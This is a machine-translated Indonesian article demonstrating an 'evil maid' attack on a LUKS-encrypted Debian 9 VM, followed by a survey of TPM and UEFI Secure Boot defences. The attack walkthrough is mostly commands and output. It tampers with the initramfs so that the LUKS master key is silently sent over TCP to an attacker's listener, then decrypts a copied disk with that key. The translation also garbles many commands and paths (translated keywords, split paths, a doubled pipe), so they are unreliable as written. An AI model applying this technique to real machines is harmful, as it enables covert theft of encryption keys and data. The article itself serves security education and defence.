Enkripsi disk dirancang untuk melindungi data di komputer Anda dari akses fisik yang tidak sah. Ada kesalahpahaman yang tersebar luas bahwa enkripsi disk benar-benar mengatasi tugas ini, dan skenario di mana ini tidak tampak terlalu eksotis dan tidak realistis. Artikel ini menunjukkan bahwa mengekstraksi kunci utama dari volume
LUKS terenkripsi dengan mudah layak dalam praktiknya, dan metode perlindungan (sudah lama) diusulkan.
Inti dari masalah
Kita juga harus memikirkan tujuan enkripsi disk. Memang, ketika akses fisik tidak mungkin dan sistem yang berjalan memiliki data, tidak ada masalah. Mungkin ada masalah dengan keamanan sistem itu sendiri, tetapi enkripsi disk tidak akan membantu di sini. Enkripsi disk harus melindungi data ketika pihak yang ingin tahu memiliki kesempatan untuk mengakses disk tanpa melalui sistem, misalnya menghubungkan disk secara fisik ke sistem mereka atau memuat OS mereka di komputer yang diperiksa.
Skenario akses fisik adalah satu-satunya skenario di mana enkripsi disk masuk akal.Masalahnya adalah bahwa penyerang diam-diam dapat campur tangan dalam rantai boot OS dan memaksa sistem untuk mengeluarkan kunci enkripsi segera setelah menerimanya pada saat berikutnya dimulai.
Serangan semacam itu hanya memerlukan satu tindakan akses ke komputer: data dari disk dapat disalin bersama dengan substitusi dari sirkuit boot, dan kemudian didekripsi oleh mereka sampai kunci muncul. Dibandingkan dengan disk yang tidak terenkripsi, satu-satunya ketidaknyamanan adalah Anda harus berhati-hati dengan bagaimana kunci ditransmisikan dan menunggu untuk memulai.
Selanjutnya, kita beralih ke mendemonstrasikan teknik seperti itu dalam praktik. Mungkin ternyata untuk implementasinya penyerang akan membutuhkan lebih sedikit usaha daripada yang dihabiskan oleh pemilik sistem untuk mengatur beberapa metode eksotis membuka disk (misalnya, jarak jauh).
Peragaan praktis
Saya akan melakukan demo pada contoh mesin virtual dengan Debian 9, di mana enkripsi disk diaktifkan selama instalasi.
Menginstal Debian 9 dengan enkripsi menciptakan partisi boot dan partisi dengan LVM terenkripsi. Cuplikan layar sistem terinstal yang meminta kata sandi dekripsi untuk kejelasan:
Semuanya siap, Anda bisa melanjutkan. Matikan mobil, salin disk. Dalam kasus saya, tampilannya seperti ini:
[root @ dt1 ~] # virsh hancurkan debian9-boothack
Domain debian9-boothack dihancurkan
[root @ dt1 ~] # cp -v /var/lib/libvirt/images/debian9-boothack.qcow2 ~
'/var/lib/libvirt/images/debian9-boothack.qcow2' -> '/root/debian9-boothack.qcow2'
Pasang drive mesin, ekstrak initramdrive:
[root @ dt1 ~] # mkdir / tamu
[root @ dt1 ~] # guestmount -a /var/lib/libvirt/images/debian9-boothack.qcow2 -m / dev / sda1 / guest
[root @ dt1 ~] # cp -v /guest/initrd.img-4.9.0-9-amd64 ~ user / tmp
'/guest/initrd.img-4.9.0-9-amd64' -> '/home/user/tmp/initrd.img-4.9.0-9-amd64'
Buka paket initramdrive:
[user @ dt1 tmp] $ mkdir dibongkar
[user @ dt1 tmp] $ cd dibongkar /
[user @ dt1 membongkar] $ zcat ../initrd.img-4.9.0-9-amd64 | cpio -idm
[pengguna @ dt1 dibuka] $ ls
bin conf dll init lib lib64 menjalankan skrip sbin
Selesai, Anda dapat mengedit initramdrive. Mengetahui bahwa mesin memiliki koneksi jaringan permanen, saya ingin mengatur pengiriman kunci master terenkripsi setelah membuka disk. Untuk melakukan ini, saya perlu:
- Utilitas untuk pengiriman terenkripsi melalui jaringan . Tambahkan ke
/sbin - Script shell untuk ekstraksi dan pengiriman kunci . Dikirim ke
/scripts/local-top dan ditambahkan ke daftar /scripts/local-top/ORDER setelah cryptoroot . - Skrip pemrosesan acara udhcpc asli yang hilang untuk memulai penyetelan otomatis jaringan secara langsung di ramdrive, menggunakan alat bawaan. Tempat yang seharusnya ada di
/etc/udhcpc/default.script
Executable executable dibangun secara statis untuk menghilangkan dependensi pada sembarang library. Dalam kondisi normal, perakitan menghasilkan file keluaran berukuran 2,7 MB, yang cukup terlihat dibandingkan dengan ukuran ramdrive - 62 megabyte dalam bentuk yang tidak dibongkar dan 20 dalam yang dikompresi. Namun, ketika membangun semua perpustakaan dan executable dengan minimal musl libc, ukuran file output ~ 250 KB dan 120 KB setelah kompresi UPX. Secsend sendiri hanya membaca input standar, mengenkripsi dengan cryptobox dari libsodium menggunakan kunci publik yang ditentukan Curve25519 dan mengirimkan data ke alamat yang ditentukan melalui TCP. Penggunaannya tidak berprinsip untuk tujuan utama demonstrasi, itu lebih menunjukkan bahwa penyerang pada dasarnya tidak terbatas: Anda dapat menjalankan kode yang melakukan apa yang diinginkan penyerang dan bagaimana dia menginginkannya.
Setelah menambahkan tiga file ini dan mengedit yang lain, Anda dapat mengemas semuanya kembali dan mengembalikan file yang dimodifikasi ke tempatnya:
[user @ dt1 dibuka] $ find. | cpio -o -c | gzip -9> ../initrd.img-4.9.0-9-amd64
125736 blok
[user @ dt1 membongkar] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / guest
'../initrd.img-4.9.0-9-amd64' -> '/guest/initrd.img-4.9.0-9-amd64'
[pengguna @ dt1 dibuka] $ sudo guestunmount / tamu
Diperlukan beberapa server untuk menerima kunci master terenkripsi, seperti
ini (Python 3.5.3+). Dengan meluncurkannya dengan bagian rahasia dari pasangan kunci, kami menunggu hingga korban bersyarat menyalakan komputernya:
Ketika Anda menghidupkan mesin virtual dengan disk terenkripsi, semuanya tampak seperti biasa, tidak ada yang berubah:
Tetapi di sisi pendengar koneksi, kunci master rahasia muncul:
Mulai saat ini, mesin virtual dengan data dan penggunanya dengan pengetahuan kata sandi enkripsi tidak lagi menarik bagi penyerang. Saya menekankan bahwa mengubah frasa sandi tidak mengubah kunci utama yang dengannya seluruh volume dienkripsi. Bahkan jika perubahan frasa sandi entah bagaimana cacing antara membuat salinan dan mengirim kunci, ini bukan halangan. Kami akan menggunakan kunci utama untuk membuka volume. Untuk melakukan ini, kami mengonversi entri log 16-desimal menjadi file biner:
[root @ dt1 ~] # echo 'fa0c53 *********** 4bd8c' | | xxd -r -p> master.key
Pasang disk dengan salinan:
[root @ dt1 ~] # modprobe nbd max_part = 8
[root @ dt1 ~] # qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2
[root @ dt1 ~] # ls / dev / nbd0 *
/ dev / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
[root @ dt1 ~] # file -s / dev / nbd0p5
/ dev / nbd0p5: LUKS file terenkripsi, ver 1 [aes, xts-plain64, sha256] UUID: fb732477-ef98-40b5-86a2-8526c349f031
[root @ dt1 ~] # cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
[root @ dt1 ~] # pvs
PV VG Fmt Attr PSize PFree
/ dev / mapper / crackeddisk debian9-boothack-vg lvm2 a-- 19.75g 0
/ dev / sda3 dt1 lvm2 a-- <215.01g 8.00m
[root @ dt1 ~] # lvs
LV VG Attr LSize Pool Asal Data% Meta% Pindahkan Log Cpy% Sync Konversi
root debian9-boothack-vg -wi-a ----- 18.75g
swap_1 debian9-boothack-vg -wi-a ----- 1.00g
root dt1 -wi-ao ---- 215.00g
[root @ dt1 ~] # mkdir / hackedroot
[root @ dt1 ~] # mount / dev / mapper / debian9 - boothack - vg-root / hackedroot /
[root @ dt1 ~] # ls / hackedroot /
bin boot dev dll home initrd.img initrd.img.old lib lib64 hilang + ditemukan media mnt opt proc root jalankan sbin srv sys tmp usr var vmlinuz vmlinuz.old
[root @ dt1 ~] # cat / hackedroot / etc / hostname
debian9-boothack
Data diambil.
Langkah-langkah perlindungan
Seperti yang dapat Anda simpulkan, akar masalahnya adalah peluncuran kode yang tidak dipercaya. Berikut ini adalah ikhtisar singkat tentang teknik yang harus dipertimbangkan dalam konteks masalah ini.
Enkripsi partisi boot
Beberapa distribusi juga menawarkan fitur ini selama instalasi (misalnya, OpenSuSE). Dalam hal ini, partisi boot didekripsi oleh bootloader, dan kemudian kernel dan initramdrive diambil dari sana. Pendekatan ini tidak masuk akal karena alasan berikut:
- Masalah paling penting dengan spoofing kode masih tetap terbuka. Hanya sekarang bootloader perlu diganti.
- Untuk partisi boot, integritas data tidak lebih penting, tetapi integritas data. Enkripsi Dasar LUKS tidak memberikan jaminan semacam itu. Beberapa manfaat di sini hanya terletak pada kenyataan bahwa sulit untuk membentuk substitusi yang bermakna pada partisi terenkripsi tersebut.
- Dan enkripsi LUKS2 dengan pemeriksaan integritas (dm-integritas) juga tidak melindungi terhadap gangguan, karena tidak memberikan jaminan terhadap serangan yang terkait dengan replay sektor. Sebagai contoh, memiliki dump partisi seperti itu dan konfigurasi bootloader di atasnya, Anda masih dapat mengambil dan memutar kembali kernel ke negara yang disalin sebelumnya. Ini tidak memberikan keuntungan secara khusus dalam masalah ekstraksi kunci (kecuali jika kernel lama rentan dan dapat digunakan dalam beberapa cara), itu lebih merupakan argumen yang mendukung ketidakgunaan untuk mengenkripsi partisi boot.
Menggunakan TPM untuk menyimpan kunci enkripsi dan memvalidasi lingkungan boot yang aman
TPM pada dasarnya adalah prosesor crypto yang bertindak sebagai kantong aman atau kartu pintar dalam sistem. Data rahasia yang dienkripsi dengannya hanya dapat didekripsi menggunakannya dan hanya pada kondisi - ketika nilai
PCR dari sistem bertemu, yang tergantung pada keadaan platform dan kode berjalan di dalamnya. Teknologi ini cukup menjanjikan dan dapat memungkinkan Anda untuk menerapkan enkripsi aman dalam sistem tanpa memerlukan kunci (misalnya, dengan memasukkan dengan sidik jari atau metode otentikasi yang tidak terkait dengan enkripsi). Idealnya, itu harus bekerja bersama dengan UEFI Secure Boot, melarang dekripsi ketika konfigurasi tidak konvergen.
Namun, di Linux, dukungan TPM masih dalam masa pertumbuhan. Bootloader TrustedGRUB2 (bootloader yang diadaptasi untuk bekerja dengan TPM) tidak mendukung UEFI dan seluruh pokok gagasan menghilang dari sini. Selain itu, kehadiran TPM 2.0 yang berfungsi baru sekarang mulai muncul di perangkat keras, seringkali bersamaan dengan pembaruan BIOS. Sebagian besar motherboard tidak memiliki modul TPM diskrit, melainkan TPM adalah perangkat lunak yang diimplementasikan dalam Intel
ME . Untuk semua alasan ini, saya belum mempertimbangkan konfigurasi seperti itu berfungsi dan cocok untuk penggunaan luas.
Menggunakan UEFI Secure Boot untuk sepenuhnya menutupi rantai boot dengan tanda tangan elektronik
Ada distribusi (Fedora, OpenSuSE) dan solusi tunggal yang memungkinkan Anda untuk menggunakan Boot Aman di Linux. Namun, solusi kotak seringkali tidak memberikan integritas kode dalam rantai beban. Mereka dirancang terutama untuk memastikan bahwa Linux dimulai ketika Secure Boot diaktifkan. Biasanya hanya menggunakan EFI shim, ditandatangani oleh sertifikat Microsoft, yang kemudian menjalankan apa saja. Karena itu, ketika menggunakan sertifikasi eksternal, tidak mungkin untuk menutupi tanda tangan dari drive di-disk yang dihasilkan secara langsung di sistem yang diinstal.
Ada artikel di hub yang menyarankan menggunakan
PKI Anda sendiri untuk menandatangani kode. Ini memungkinkan Anda untuk menandatangani semua yang Anda butuhkan sendiri dan dengan demikian mencakup seluruh rantai UEFI → bootloader → kernel dan intramdrive.
- Menjinakkan UEFI SecureBoot - artikel pertama di hub tentang topik ini, sangat terperinci.
- Kami menggunakan Secure Boot di Linux secara maksimal - terutama ditulis dengan baik di sini mengapa Secure Boot dengan sertifikat Microsoft yang diinstal setara dengan ketidakhadirannya.
Hasil yang dibutuhkan diperoleh di artikel kedua. Tanda tangan intramdrive dicapai dengan menggabungkan ramdrive dan kernel ke dalam satu aplikasi EFI, tanpa menggunakan loader, dan UEFI langsung memeriksa tanda tangan segera dalam jumlah besar. Kedua manual ini membutuhkan banyak pekerjaan manual pada setiap sistem yang dilindungi.
Solusi yang Terjangkau
Saya datang dengan
pendekatan untuk implementasi penuh Boot Aman, kompatibel dengan skema boot yang berlaku umum dan tidak memerlukan intervensi serius dalam sistem: bootloader terpisah, ramdrive terpisah, kernel terpisah. UEFI hanya memverifikasi tanda tangan bootloader GRUB2, bootloader memiliki konfigurasi kabel dengan kunci untuk memverifikasi tanda tangan dan kata sandi administrator, dan kemudian memeriksa kernel dan ramdrive. Bootloader yang ditandatangani dipasang secara paralel dengan yang lama dan, jika perlu, tetap bisa dimulai dengan cara biasa dengan menonaktifkan Boot Aman. Tentu saja, fitur ini harus ditutup oleh kata sandi administrator di menu pengaturan UEFI.
Saya memutuskan untuk mengotomatiskan proses penyebaran Boot Aman dengan PKI saya sendiri dan membuatnya sesederhana dan sebebas-independen mungkin. Hasilnya hanyalah seperangkat resep dan utilitas Makefile:
https://github.com/Snawoot/linux-secureboot-kit . Untuk debian, ubuntu, fedora, dan centos, seluruh proses hanya membutuhkan beberapa perintah.
Khususnya, dengan contoh Debian 9, instalasi terlihat seperti ini (dengan anggapan UEFI sudah dalam Mode Pengaturan):
apt update && apt install -y unzip make sbsigntool wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \ tar xpJf efitools-1.9.2-static.tar.xz -C / wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip unzip master.zip cd linux-secureboot-kit-master/ make debian9-install
Di sini, semua perintah dimasukkan atas nama pengguna super. Akibatnya, tetap hanya memverifikasi bahwa Boot Aman diaktifkan di menu BIOS dan melindungi pengaturan BIOS dengan kata sandi administrator.
Dan di sini adalah upaya untuk mengganti ramdrive pada instalasi semacam itu:
Penggantian bootloader (tampilannya tergantung pada platform):
Ringkasan
Enkripsi disk saja tidak cukup untuk memastikan privasi data. Menandatangani seluruh rantai boot menggunakan UEFI Secure Boot dan GPG memungkinkan Anda untuk mencapai tingkat perlindungan yang baik terhadap spoofing kode yang dapat dieksekusi, asalkan operator komputer dapat mengenali pengaturan ulang atau spoof board sistem, atau bahkan seluruh komputer. Jika tidak, sangat sulit untuk menawarkan metode perlindungan yang memadai jika pengguna siap memasukkan kata sandi / mentransfer kunci ke mesin apa pun yang secara tidak sengaja berakhir di atas meja atau di ruang server.